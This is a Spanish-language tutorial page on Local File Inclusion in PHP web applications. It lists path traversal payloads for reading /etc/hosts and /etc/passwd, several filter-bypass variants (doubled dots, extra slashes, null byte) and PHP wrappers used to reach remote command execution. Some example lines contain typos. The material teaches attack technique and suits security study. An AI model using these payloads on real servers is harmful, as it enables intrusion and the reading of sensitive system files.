Local File Incrusion (LFI)

La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante acceder a archivos locales en el servidor web.

En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “Path Traversal” y se utiliza comúnmente en ataques de LFI.

Ejemplo de LFI:

http://IP?filename=/etc/host 

?filename=../../../../../../etc/hosts 
// sanetizado con filtro de busqueda en la ruta /var/www/html

?filename?....//....//....//....//....//etc/hosts 
// en caso de que ../ sea remplazada por un caracter vacio

?filename?../../../../../etc//./hosts 
// en caso de que este filtrado por la ruta ej(/etc/hosts, /etc/passwd) se ponen dos barras // o /./ y sigue funcionando

?filename?../../../../../etc/passwd%00 
//para versiones de php antiguas

Uso de filtro/wrappers

En PHP, un wrapper es un "envoltorio" o interfaz que permite acceder a diferentes tipos de recursos, como archivos locales, flujos de datos (streams), y contenido en red (HTTP, FTP), mediante un esquema común. Los wrappers actúan como capas de abstracción que permiten trabajar con estos recursos de manera unificada, sin preocuparse por los detalles específicos de cada tipo de recurso.

Algunos de estos wrappers no funcionan por si la configuracion allow_url_include del documento /etc/php/8.3/apache2/php.ini esta desactivada

php://filter

php:input

data://

Encodeamos en base64

agregamos el comando seguido de data://text/plain,base64,

A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘Filter Chains‘ y conseguir así ejecución remota de comandos:

Last updated

Was this helpful?